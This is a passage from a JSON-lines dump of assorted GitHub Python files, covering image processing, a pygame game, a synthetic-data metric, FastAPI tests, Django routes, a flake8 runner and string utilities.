errMsg\n\n# Full color images (single or pile) to bayered images given a CFA pattern\ndef color2bayer(npImin, pattern = RGGBPattern, f_check = True):\n if f_check:\n bayerVal, errMsg = checkBayer(pattern)\n if not bayerVal:\n raise Exception(errMsg)\n\n if npImin.shape[2] == pattern.shape[2]:\n if npImin.ndim==3: # Single RGB image\n sY, sX = npImin.shape[0], npImin.shape[1]\n Ny = sY//pattern.shape[0] + 1\n Nx = sX//pattern.shape[1] + 1\n tiledPattern = np.tile(pattern, (Ny, Nx, 1))\n return npImin * tiledPattern[:sY, :sX, :]\n\n elif npImin.ndim==4: # Multiple RGB images stacked in the 1st dimension\n sY, sX = npImin.shape[1], npImin.shape[2]\n Ny = sX//pattern.shape[0] + 1\n Nx = sX//pattern.shape[1] + 1\n tiledPattern = np.tile(pattern, (Ny, Nx, 1))\n npImout = np.zeros(npImin.shape, dtype=np.float32)\n for ii in range(npImin.shape[0]):\n npImout[ii] = npImin[ii] * tiledPattern[:sY, :sX, :]\n return npImout\n\n else:\n raise Exception('Input image and input pattern have not the same depth')\n\n# RAW images (single or pile) to bayered images given a CFA pattern\ndef raw2bayer(npImin, pattern = RGGBPattern, f_check = True):\n if f_check:\n bayerVal, errMsg = checkBayer(pattern)\n if not bayerVal:\n raise Exception(errMsg)\n\n if npImin.ndim==2: # Single image\n sY, sX = npImin.shape[0], npImin.shape[1]\n Ny = sY//pattern.shape[0] + 1\n Nx = sX//pattern.shape[1] + 1\n tiledPattern = np.tile(pattern, (Ny, Nx, 1))\n\n npImout = np.zeros((sY, sX, pattern.shape[2]), dtype=np.float32)\n for ii in range(pattern.shape[2]):\n npImout[:,:,ii] = npImin * tiledPattern[:sY,:sX,ii]\n return npImout\n\n elif npImin.ndim==3: # Multiple images stacked in the 1st dimension\n sY, sX = npImin.shape[1], npImin.shape[2]\n Ny = sY//pattern.shape[0] + 1\n Nx = sX//pattern.shape[1] + 1\n tiledPattern = np.tile(pattern, (Ny, Nx, 1))\n\n npImout = np.zeros((npImin.shape[0], sY, sX, pattern.shape[2]), dtype=np.float32)\n for jj in range(npImin.shape[0]):\n for ii in range(pattern.shape[2]):\n npImout[jj, :,:,ii] = npImin[jj] * tiledPattern[:sX,:sY,ii]\n return npImout\n\n####################################################################################################\n### Exposure functions\n####################################################################################################\ndef normalize(imin):\n return (imin-imin.min()) / (imin.max() - imin.min())\n\ndef simpleExposure(imin, EV):\n exposureCoeff = 2**EV\n return np.clip(imin * exposureCoeff, 0, 1) # -> exc = EXposure corrected\n\n\ndef HDRfunc(imin, exposure=1, power=1, offset=0):\n return 1-np.exp(-exposure*(imin+offset)**power)\n\n\n####################################################################################################\n### Color functions\n####################################################################################################\ndef setWB(imin, pCoord, extend, cR=1, cG=1, cB=1):\n pY, pX = pCoord # -> coordinates of pixel supposed white\n ext = extend # -> patches of size 2*ext+1\n WBPatch = imin[pY-ext:pY+ext+1, pX-ext:pX+ext+1]\n meanR = np.mean(WBPatch[:,:,0])\n meanG = np.mean(WBPatch[:,:,1])\n meanB = np.mean(WBPatch[:,:,2])\n wbc = imin # wbc = White Balanced Corrected\n wbc[:,:,0] *= cR/meanR\n wbc[:,:,1] *= cG/meanG\n wbc[:,:,2] *= cB/meanB\n wbc /= wbc.max()\n return wbc\n\n# Code from https://stackoverflow.com/questions/2612361/convert-rgb-values-to-equivalent-hsv-values-using-python\ndef rgb2hsv(imin):\n maxv = np.amax(imin, axis=2)\n maxc = np.argmax(imin, axis=2)\n minv = np.amin(imin, axis=2)\n minc = np.argmin(imin, axis=2)\n hsv = np.zeros(imin.shape, dtype='float')\n hsv[maxc == minc, 0] = np.zeros(hsv[maxc == minc, 0].shape)\n hsv[maxc == 0, 0] = (((imin[..., 1] - imin[..., 2]) * 60.0 / (maxv - minv + np.spacing(1))) % 360.0)[maxc == 0]\n hsv[maxc == 1, 0] = (((imin[..., 2] - imin[..., 0]) * 60.0 / (maxv - minv + np.spacing(1))) + 120.0)[maxc == 1]\n hsv[maxc == 2, 0] = (((imin[..., 0] - imin[..., 1]) * 60.0 / (maxv - minv + np.spacing(1))) + 240.0)[maxc == 2]\n hsv[maxv == 0, 1] = np.zeros(hsv[maxv == 0, 1].shape)\n hsv[maxv != 0, 1] = (1 - minv / (maxv + np.spacing(1)))[maxv != 0]\n hsv[..., 2] = maxv\n return hsv\n\ndef hsv2rgb(imin):\n hi = np.floor(imin[..., 0] / 60.0) % 6\n hi = hi.astype('uint8')\n v = imin[..., 2].astype('float')\n f = (imin[..., 0] / 60.0) - np.floor(imin[..., 0] / 60.0)\n p = v * (1.0 - imin[..., 1])\n q = v * (1.0 - (f * imin[..., 1]))\n t = v * (1.0 - ((1.0 - f) * imin[..., 1]))\n rgb = np.zeros(imin.shape)\n rgb[hi == 0, :] = np.dstack((v, t, p))[hi == 0, :]\n rgb[hi == 1, :] = np.dstack((q, v, p))[hi == 1, :]\n rgb[hi == 2, :] = np.dstack((p, v, t))[hi == 2, :]\n rgb[hi == 3, :] = np.dstack((p, q, v))[hi == 3, :]\n rgb[hi == 4, :] = np.dstack((t, p, v))[hi == 4, :]\n rgb[hi == 5, :] = np.dstack((v, p, q))[hi == 5, :]\n return rgb\n\n\n\n\n\n# EOF\n","repo_name":"GChataignier/rawLab","sub_path":"imgModification.py","file_name":"imgModification.py","file_ext":"py","file_size_in_byte":6318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74835525361","text":"import pygame\nfrom settings import *\nfrom random import randint\n\n\nclass MagicPlayer():\n def __init__(self, animationPlayer):\n self.animationPlayer = animationPlayer\n self.sounds = {\n 'heal': pygame.mixer.Sound('./src/audio/heal.wav'),\n 'flame': pygame.mixer.Sound('./src/audio/flame.wav')\n }\n\n def heal(self, player, strength, cost, groups):\n if player.energy >= cost and player.health < player.stats['health']:\n self.sounds['heal'].set_volume(0.2)\n self.sounds['heal'].play()\n player.health += strength\n player.energy -= cost\n if player.health > player.stats['health']:\n player.health = player.stats['health']\n offset = pygame.math.Vector2(0, 60)\n self.animationPlayer.createParticles(\n 'heal', player.rect.center - offset, groups, 0.24)\n self.animationPlayer.createParticles(\n 'aura', player.rect.center, groups, 0.24)\n\n def flame(self, player, strength, cost, groups):\n if player.energy >= cost:\n self.sounds['flame'].set_volume(0.2)\n self.sounds['flame'].play()\n player.energy -= cost\n\n playerDirection = player.status.split('_')[0]\n if playerDirection == 'up':\n playerDirection = pygame.math.Vector2(0, -1)\n if playerDirection == 'down':\n playerDirection = pygame.math.Vector2(0, 1)\n if playerDirection == 'left':\n playerDirection = pygame.math.Vector2(-1, 0)\n if playerDirection == 'right':\n playerDirection = pygame.math.Vector2(1, 0)\n\n for i in range(1, 6):\n randomized = randint(-TILE_SIZE // 3, TILE_SIZE // 3)\n if playerDirection.x:\n offset = playerDirection.x * i * TILE_SIZE\n x = player.rect.centerx + offset + randomized\n y = player.rect.centery + randomized\n if playerDirection.y:\n offset = playerDirection.y * i * TILE_SIZE\n x = player.rect.centerx + randomized\n y = player.rect.centery + offset + randomized\n self.animationPlayer.createParticles(\n 'flame', (x, y), groups, 0.24)\n","repo_name":"gcairesdev/zelda","sub_path":"src/magic.py","file_name":"magic.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73215090801","text":"\"\"\"GaussianMixture based metrics for single table.\"\"\"\nimport itertools\nimport logging\n\nimport numpy as np\nfrom sklearn.mixture import GaussianMixture\n\nfrom sdmetrics.errors import IncomputableMetricError\nfrom sdmetrics.goal import Goal\nfrom sdmetrics.single_table.base import SingleTableMetric\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass GMLogLikelihood(SingleTableMetric):\n \"\"\"GaussianMixture Single Table metric.\n\n This metric fits multiple GaussianMixture models to the real data and then\n evaluates how likely it is that the synthetic data belongs to the same\n distribution as the real data.\n\n By default, GaussianMixture models with 10, 20 and 30 components are\n fitted a total of 3 times.\n\n The output is the average log likelihood across all the GMMs.\n\n Attributes:\n name (str):\n Name to use when reports about this metric are printed.\n goal (sdmetrics.goal.Goal):\n The goal of this metric.\n min_value (Union[float, tuple[float]]):\n Minimum value or values that this metric can take.\n max_value (Union[float, tuple[float]]):\n Maximum value or values that this metric can take.\n \"\"\"\n\n name = 'GaussianMixture Log Likelihood'\n goal = Goal.MAXIMIZE\n min_value = -np.inf\n max_value = np.inf\n\n @classmethod\n def _select_gmm(cls, real_data, n_components, covariance_type):\n if isinstance(n_components, int):\n min_comp = max_comp = n_components\n else:\n min_comp, max_comp = n_components\n\n if isinstance(covariance_type, str):\n covariance_type = (covariance_type, )\n\n combinations = list(itertools.product(range(min_comp, max_comp + 1), covariance_type))\n if len(combinations) == 1:\n return combinations[0]\n\n lowest_bic = np.inf\n best = None\n for n_components, covariance_type in combinations:\n gmm = GaussianMixture(n_components=n_components, covariance_type=covariance_type)\n try:\n gmm.fit(real_data)\n bic = gmm.bic(real_data)\n LOGGER.debug('%s, %s: %s', n_components, covariance_type, bic)\n if bic < lowest_bic:\n lowest_bic = bic\n best = (n_components, covariance_type)\n\n except ValueError:\n pass\n\n if not best:\n metric_name = cls.name\n raise IncomputableMetricError(f'{metric_name}: Unable to fit GaussianMixture')\n\n return best\n\n @classmethod\n def compute(cls, real_data, synthetic_data, metadata=None, n_components=(1, 30),\n covariance_type='diag', iterations=3, retries=3):\n \"\"\"Compute this metric.\n\n This fits multiple GaussianMixture models to the real data and then\n evaluates how likely it is that the synthetic data belongs to the same\n distribution as the real data.\n\n By default, GaussianMixture models will search for the optimal number of\n components and covariance type using the real data and then evaluate\n the likelihood of the synthetic data using those arguments 3 times.\n\n Real data and synthetic data must be passed as ``pandas.DataFrame`` instances\n and ``metadata`` as a ``Table`` metadata ``dict`` representation.\n\n If no ``metadata`` is given, one will be built from the values observed\n in the ``real_data``.\n\n The output is the average log likelihood across all the GMMs evaluated.\n\n Args:\n real_data (Union[numpy.ndarray, pandas.DataFrame]):\n The values from the real dataset.\n synthetic_data (Union[numpy.ndarray, pandas.DataFrame]):\n The values from the synthetic dataset.\n metadata (dict):\n Table metadata dict.\n n_components (Union[int, tuple[int]]):\n Number of components to use for the GMM. If a tuple with\n 2 integers is passed, the optimal number of components within\n the range will be searched. Defaults to (1, 30)\n covariance_type (Union[str, tuple[str]]):\n Covariange type to use for the GMM. If multiple values are\n passed, the best one will be searched. Defaults to ``'diag'``.\n iterations (int):\n Number of times that each number of components should\n be evaluated before averaging the scores. Defaults to 3.\n retries (int):\n Number of times that each iteration will be retried if the\n GMM model crashes during fit. Defaults to 3.\n\n Returns:\n float:\n Average score returned by the GaussianMixtures.\n \"\"\"\n real_data, synthetic_data, metadata = cls._validate_inputs(\n real_data, synthetic_data, metadata)\n fields = cls._select_fields(metadata, 'numerical')\n\n real_data = real_data[fields]\n synthetic_data = synthetic_data[fields]\n real_data = real_data.fillna(real_data.mean())\n synthetic_data = synthetic_data.fillna(synthetic_data.mean())\n\n if not isinstance(n_components, int) or not isinstance(covariance_type, str):\n LOGGER.debug('Selecting best GMM parameters')\n best_gmm = cls._select_gmm(real_data, n_components, covariance_type)\n if best_gmm is None:\n return np.nan\n\n n_components, covariance_type = best_gmm\n LOGGER.debug('n_components=%s and covariance_type=%s selected',\n n_components, covariance_type)\n\n scores = []\n for _ in range(iterations * retries):\n try:\n gmm = GaussianMixture(n_components, covariance_type=covariance_type)\n gmm.fit(real_data)\n scores.append(gmm.score(synthetic_data))\n if len(scores) >= iterations:\n break\n except ValueError:\n pass\n\n if not scores:\n metric_name = cls.name\n raise IncomputableMetricError(f'{metric_name}: Exhausted retries for GaussianMixture')\n\n return np.mean(scores)\n\n @classmethod\n def normalize(cls, raw_score):\n \"\"\"Normalize the log-likelihood value.\n\n Notice that this is not the mean likelihood.\n\n Args:\n raw_score (float):\n The value of the metric from `compute`.\n\n Returns:\n float:\n The normalized value of the metric\n \"\"\"\n return super().normalize(raw_score)\n","repo_name":"sdv-dev/SDMetrics","sub_path":"sdmetrics/single_table/gaussian_mixture.py","file_name":"gaussian_mixture.py","file_ext":"py","file_size_in_byte":6597,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"75"} +{"seq_id":"70467656881","text":"\"\"\"\nwith 语句实质是上下文管理。\n1、上下文管理协议。包含方法__enter__() 和 __exit__(),支持该协议对象要实现这两个方法。\n2、上下文管理器,定义执行with语句时要建立的运行时上下文,负责执行with语句块上下文中的进入与退出操作。\n3、进入上下文的时候执行__enter__方法,如果设置as var语句,var变量接受__enter__()方法返回值。\n4、如果运行时发生了异常,就退出上下文管理器。调用管理器__exit__方法。\n\"\"\"\n\n# with xx as x\nimport os\n\ntry:\n with open('with_1.py') as f2:\n print(f2.read())\n f2.seek(-5,os.SEEK_SET)\nexcept ValueError as e:\n print(\"error\")\n print(f2.closed)\n\nclass Mycontex(object):\n def __init__(self,name):\n self.name=name\n def __enter__(self):\n print(\"进入enter\")\n return self\n def do_self(self):\n print(self.name)\n def __exit__(self,exc_type,exc_value,traceback):\n print(\"退出exit\")\n print(exc_type,exc_value)\nif __name__ == '__main__':\n with Mycontex('test') as mc:\n mc.do_self()","repo_name":"kingreatwill/penter","sub_path":"study/with_1.py","file_name":"with_1.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"zh","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"73231657522","text":"for _ in range(int(input())):\n input()\n s = input()\n\n def proc(n, c):\n # print(\"e\",n,chr(c))\n if len(n) == 1:\n if ord(n) == c:\n return 0\n return 1\n h = len(n)//2\n left_all = sum(1 for i in n[:h] if ord(i) != c)\n right_all = sum(1 for i in n[h:] if ord(i) != c)\n return min(left_all+proc(n[h:],c+1),\n proc(n[:h],c+1)+right_all)\n\n print(proc(s, ord('a')))","repo_name":"democat3457/Competitive-Programming","sub_path":"Codeforces/DivideAndConquer/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21366610003","text":"import pytest\nfrom fastapi.testclient import TestClient\n\nfrom faker import Faker\nfrom pim_vi.model import User, Sale, Product\nfrom pim_vi.model.user_model import UserModel\n\n\n@pytest.mark.asyncio\n@pytest.mark.first\nasync def test_set_user():\n faker = Faker(locale=\"pt_BR\")\n faker.locale = \"pt_BR\"\n user = User(email=faker.email(), name=faker.name(), password=faker.password())\n user.name = faker.name()\n user.email = faker.email()\n user.password = faker.password()\n pytest.user = user\n\n\n@pytest.mark.asyncio\nasync def test_read_main(client: TestClient):\n response = client.get(\"/\")\n assert response.status_code == 200\n assert response.json() == {\"message\": \"Hello World\"}\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency()\nasync def test_create_user(client: TestClient):\n response = client.post(\"/user\", json={\"name\": pytest.user.name, \"email\": pytest.user.email,\n \"password\": pytest.user.password})\n assert response.status_code == 200\n assert response.json()[\"id\"] != None\n assert response.json()[\"name\"] == pytest.user.name\n assert response.json()[\"email\"] == pytest.user.email\n print(response.json)\n pytest.user_id = response.json()[\"id\"]\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_create_user\"])\nasync def test_read_db_user() -> None:\n async with UserModel() as um:\n user_db = await um.get_user_by_id(pytest.user_id)\n assert user_db is not None\n assert pytest.user.name == user_db.name\n assert pytest.user.email == user_db.email\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_create_user\"])\nasync def test_login_user(client: TestClient):\n \"\"\"Test\"\"\"\n response = client.post(\"/user/login\", json={\"email\": pytest.user.email, \"password\": pytest.user.password})\n assert response.status_code == 200\n assert response.json()[\"access_token\"] is not None\n pytest.token = response.json()[\"access_token\"]\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_login_user\"])\nasync def test_get_user(client: TestClient):\n response = client.get(\"/user\", headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n assert response.status_code == 200\n assert response.json()[\"id\"] == pytest.user_id\n assert response.json()[\"name\"] == pytest.user.name\n assert response.json()[\"email\"] == pytest.user.email\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_login_user\"])\nasync def test_update_user(client: TestClient):\n faker = Faker()\n faker.locale = \"pt_BR\"\n user = User(email=faker.email(), name=faker.name(), password=faker.password(), cpf=faker.phone_number(),\n rg=faker.phone_number())\n response = client.put(\"/user\", json={\"name\": user.name, \"email\": user.email, \"password\": user.password},\n headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n assert response.status_code == 200\n assert response.json()[\"id\"] == pytest.user_id\n assert response.json()[\"name\"] == user.name\n assert response.json()[\"email\"] == user.email\n pytest.user = user\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_update_user\"])\nasync def test_get_user_updated(client: TestClient):\n async with UserModel() as um:\n user_db = await um.get_user_by_id(pytest.user_id)\n assert user_db is not None\n assert pytest.user.name == user_db.name\n assert pytest.user.email == user_db.email\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_update_user\"])\nasync def test_create_product(client: TestClient):\n product = Product(name=\"Teste\", price=10.0, image=\"teste.png\", quantity=10)\n\n response = client.post(\"/product\", json={\"name\": product.name, \"price\": product.price, \"image\": product.image,\n \"quantity\": product.quantity},\n headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n assert response.status_code == 200\n print(response.json())\n assert response.json()[\"id\"] != None\n assert response.json()[\"name\"] == product.name\n assert response.json()[\"price\"] == product.price\n assert response.json()[\"image\"] == product.image\n pytest.product_id = response.json()[\"id\"]\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_create_product\"])\nasync def test_get_product(client: TestClient):\n response = client.get(f\"/product/{pytest.product_id}\", headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n assert response.status_code == 200\n assert response.json()[\"id\"] == pytest.product_id\n assert response.json()[\"name\"] == \"Teste\"\n assert response.json()[\"price\"] == 10.0\n assert response.json()[\"image\"] == \"teste.png\"\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_create_user\"])\nasync def test_create_sales(client: TestClient):\n faker = Faker(locale=\"pt_BR\")\n faker.locale = \"pt_BR\"\n sales = []\n pytest.sales_ids = []\n responses = []\n for i in range(0, 5):\n sale = Sale(payment_method=\"pix\", total=faker.pyfloat(), product_id=pytest.product_id)\n sales.append(sale)\n for sale in sales:\n response = client.post(\"/sale\", json={\n \"payment_method\": sale.payment_method,\n \"total\": sale.total,\n \"product_id\": sale.product_id\n },\n headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n responses.append(response)\n for response in responses:\n assert response.status_code == 200\n assert response.json()[\"id\"] != None\n pytest.sales_ids.append(response.json()[\"id\"])\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_create_sale\"])\nasync def test_get_sales(client: TestClient):\n for sale_id in pytest.sales_ids:\n response = client.get(f\"/sale/{sale_id}\", headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n assert response.status_code == 200\n assert response.json()[\"id\"] == sale_id\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_create_sale\"])\nasync def test_update_product(client: TestClient):\n response = client.put(f\"/product/{pytest.product_id}\",\n json={\"name\": \"Teste\", \"price\": 10.0, \"image\": \"teste.png\", \"quantity\": 10},\n headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n print(response.json())\n assert response.status_code == 200\n assert response.json()[\"id\"] == pytest.product_id\n assert response.json()[\"name\"] == \"Teste\"\n assert response.json()[\"price\"] == 10.0\n assert response.json()[\"image\"] == \"teste.png\"\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_create_sale\"])\nasync def test_delete_sales(client: TestClient):\n for sale_id in pytest.sales_ids:\n response = client.delete(f\"/sale/{sale_id}\", headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n assert response.status_code == 200\n\n\n@pytest.mark.asyncio\n@pytest.mark.dependency(depends=[\"test_delete_sales\"])\nasync def test_delete_product(client: TestClient):\n response = client.delete(f\"/product/{pytest.product_id}\", headers={\"Authorization\": f\"Bearer {pytest.token}\"})\n assert response.status_code == 200\n\n\n@pytest.mark.asyncio\n@pytest.mark.last\nasync def test_delete_user():\n async with UserModel() as um:\n await um.delete_user(pytest.user_id)\n user_db = await um.get_user_by_id(pytest.user_id)\n assert user_db is None\n","repo_name":"EdSL88/PimVIBack","sub_path":"tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":7430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70436523122","text":"from src.views import ShowPepHeight\nimport subprocess\n\n\nclass CtrlPepHeight:\n def __init__(self, view_main, os):\n self.subprocess = subprocess\n self.show_flake8 = ShowPepHeight\n self.list_answer_choice_show_flake = [1, 2]\n self.view_main = view_main\n self.os = os\n\n def control_pep_console(self):\n check = self.subprocess.run(\n 'flake8 --exclude=env', shell=True)\n if check.returncode == 0:\n print(self.show_flake8.result_check_flake_no_errors())\n else:\n return check\n\n def control_pep_html(self):\n return self.subprocess.run(\n 'flake8 --exclude=env --format=html --htmldir=flake_report',\n shell=True)\n\n def choice_show_flake(self):\n print(self.show_flake8.choice_flake8())\n answer = self.view_main.view_input.try_choice_input(\n self.list_answer_choice_show_flake)\n if answer == \"1\":\n self.control_pep_console()\n elif answer == \"2\":\n self.control_pep_html()\n if self.os.path.exists(\"../Projet_04_OC/flake_report/index.html\"):\n print(self.show_flake8.result_true_pep_html())\n else:\n print(self.show_flake8.result_false_pep_html())\n","repo_name":"NDeleu/Projet_04_OC","sub_path":"src/controls/ctrl_flake8.py","file_name":"ctrl_flake8.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"6544225871","text":"from django.conf.urls import url\nfrom django.contrib import admin\n\nfrom . import views\n\nurlpatterns = [\n url(r'^index/$', views.index, name='login'),\n url(r'^login_next/$', views.index, name='login_next'),\n url(r'^$', views.index, name=''),\n url(r'^secure/$', views.secure_page, name='secure'),\n\turl(r'^client/add/$', views.add_client, name='add_client'),\n\turl(r'^client/add/next$', views.add_client, name='add_client_next'),\n\n url(r'^logout/', 'django.contrib.auth.views.logout',{'next_page': '/login'}),\n]\n","repo_name":"hamza-u/knight","sub_path":"server/knight/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13871702564","text":"import numpy as np\nimport cv2\n\ndef black_bars(img, black_width, space_width):\n img_out = img.copy()\n img_out[img_out<135] = img_out[img_out<135] + 120\n img_out[img_out>=135] = 255\n i = 0\n while i < img_out.shape[1]:\n img_out[:,i:i+black_width] = 0\n i = i + black_width + space_width\n return img_out\n\ndef mean_filter(img, kernel_rad):\n img_out = img.copy()\n kernel = np.ones((kernel_rad*2 + 1, kernel_rad*2 + 1), int)\n i = kernel_rad\n j = kernel_rad\n while i < img.shape[0] - kernel_rad:\n j = kernel_rad\n while j < img.shape[1] - kernel_rad:\n neighbors = img_out[i - kernel_rad:i + kernel_rad + 1,j - kernel_rad:j + kernel_rad + 1]\n img_out[i,j] = ((neighbors * kernel).sum())/(kernel.sum())\n j = j + 1\n i = i + 1\n return img_out\n\nif __name__ == \"__main__\":\n img = cv2.imread('messi.jpg',0)\n cv2.imwrite('messi_mean_filter.jpg', mean_filter(img, 5))\n img = black_bars(img, 40, 15)\n cv2.imwrite('messi_bars.jpg', img)\n img = mean_filter(img, 20)\n cv2.imwrite('messi_filter.jpg', img)","repo_name":"Matheus-Rangel/CV-IMD","sub_path":"Tarefa1/mean_filter/mean_filter.py","file_name":"mean_filter.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73785057842","text":"\"\"\"complaint_box URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n\nfrom django.contrib import admin\nfrom django.urls import path\nfrom . import views\nfrom django.conf.urls import url\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nurlpatterns = [\n path('', views.first),\n path('index', views.index),\n path('login', views.login),\n path('registeri', views.registeri),\n path('complaint1', views.complaint1),\n path('userregistration', views.userregistration),\n path('loginuser',views.loginuser),\n path('logout', views.logout),\n path('profileuser', views.profileuser),\n path('viewprofileuser', views.viewprofileuser),\n path('adminviewprofile', views.adminviewprofile),\n path('trainerviewprofile', views.trainerviewprofile),\n path('update/<int:id>', views.update, name='update'),\n path('update/updates/<int:id>', views.updates, name='updates'),\n path('sendcomplaint',views.sendcompaint),\n path('complaintview',views.complaintview),\n path('complaintviewall',views.complaintviewall),\n path('sendack', views.sendack),\n path('ackview',views.ackview),\n path('registerview',views.registerview),\n path('admindelete/<int:id>', views.admindelete, name='admindelete'),\n path('addfaculty',views.addfaculty),\n path('facultyview',views.facultyview),\n path('updatestatus/<int:id>', views.updatestatus, name='updatestatus'),\n path('updatestatus/statusupdate/<int:id>', views.statusupdate, name='statusupdate'),\n path('facultydelete/<int:id>', views.facultydelete, name='facultydelete'),\n path('ackadmin',views.ackadmin),\n path('ackadminviewall',views.ackadminviewall),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"Sujaya99/student_complaint_box","sub_path":"complaint_box/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37363233153","text":"# coding: utf-8\n# 文章分类模块\nfrom tomato.database.model import db\nfrom tomato.database.model import Category\nfrom tomato.utils.errCode import ErrCode\nfrom tomato.utils.utils import md5_id\nfrom tomato.utils.utils import output_json\n\nclass CategoryService():\n def create(self, name: str):\n \"\"\"新增分类\n Args:\n name: string, 类名,值唯一\n \"\"\"\n exist = Category.query.filter(Category.name==name).first()\n if exist:\n return output_json(code=ErrCode.EXIST_DATA)\n row = Category(name=name)\n row.id = md5_id()\n\n with db.auto_commit():\n db.session.add(row)\n\n return output_json(code=0)\n\n def update(self, id: str, kwargs: object):\n \"\"\"更新分类\n Args:\n id: string,\n kwargs: object, 包含category属性的对象\n \"\"\"\n exist = Category.query.filter_by(id=id)\n if exist is None:\n return output_json(code=ErrCode.NO_DATA)\n allow_field = [\"name\"]\n for key in kwargs.keys():\n if key not in allow_field:\n return output_json(code=ErrCode.ERR_PARAMS)\n if hasattr(kwargs, \"name\"):\n with db.auto_commit():\n exist.update(kwargs)\n\n return output_json(code=0)\n\n def list(self, where: object, offset=0, limit=15):\n \"\"\"查询分类列表\n Args:\n where: object, 查询对象\n offset: int, 分页\n limit: int, 页长\n \"\"\"\n query = Category.query\n \n if where.get(\"name\"):\n query = query.filter(Category.name==where.get(\"name\"))\n \n count = query.count()\n rows = query.offset(offset).limit(limit).all()\n data = []\n for item in rows:\n data.append(item.to_dict())\n \n return output_json(data=data, total=count)\n\nif __name__ == \"__main__\":\n from tomato.app import app\n with app.app_context():\n category = CategoryService()\n category.create(\"python\")\n category.list({})","repo_name":"yourlei/tomato","sub_path":"tomato/server/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41150061742","text":"#Length of string\ndef length(str):\n count=0\n for i in str:\n count+=1\n return count\n#TASK 1 - No. of words\ndef no_of_words(str):\n count=0\n list=str.split()\n for i in list:\n count+=1\n return count\n#TASK 2 - No. of digits\ndef no_of_digits(str):\n count=0\n for i in str:\n if i.isdigit()==True:\n count+=1\n return count\n#TASK 3 - No. of alphabets\ndef no_of_alphabets(str):\n count=0\n for i in str:\n if i.isalpha()==True:\n count+=1\n return count\n#TASK 4 - Checking if a word if present in the string\ndef check_if_present(str,check_word):\n if check_word in str:\n return \"YES\"\n else:\n return \"NO\"\n#print(check_if_present('hello guys',input(\"Enter phrase to check:\"))) \n\n#Task 5-converting whole paragraph to uppercase\ndef capital(str):\n upper_str=''\n for i in str:\n if ord(i)<=122 and ord(i)>=97:\n upper_str+=chr(ord(i)-32)\n else:\n upper_str+=i\n return upper_str\n\n\n#Task 5-converting whole paragraph to lowercase\ndef lower(str):\n lower_str=''\n for i in str:\n if ord(i)<=90 and ord(i)>=65:\n lower_str+=chr(ord(i)+32)\n else:\n lower_str+=i\n return lower_str\n\n#Reversing the paragraph\ndef reverse(str):\n rev_str=''\n for i in range (length(str),0,-1):\n rev_str+=str[i-1]\n return rev_str\n\n#Finding and replacing a word from paragraph\ndef find_replace(paragraph:str,word_to_be_replaced:str,new_word:str):\n l=paragraph.split()\n new_str=''\n for i in range(length(l)):\n if l[i]==word_to_be_replaced:\n new_str+=new_word+' '\n elif l[i]=='\\n':\n new_str+=new_word+'\\n'\n else:\n new_str+=l[i]+' '\n \n return new_str\n#print(find_replace(str,'hello','yellow'))\n\n#Checking if a word is present in the Paragraph\ndef find(paragraph:str,word_to_find):\n l=paragraph.split()\n if word_to_find in paragraph:\n return True\n else:\n return False\n\n#Calculating frequency of each 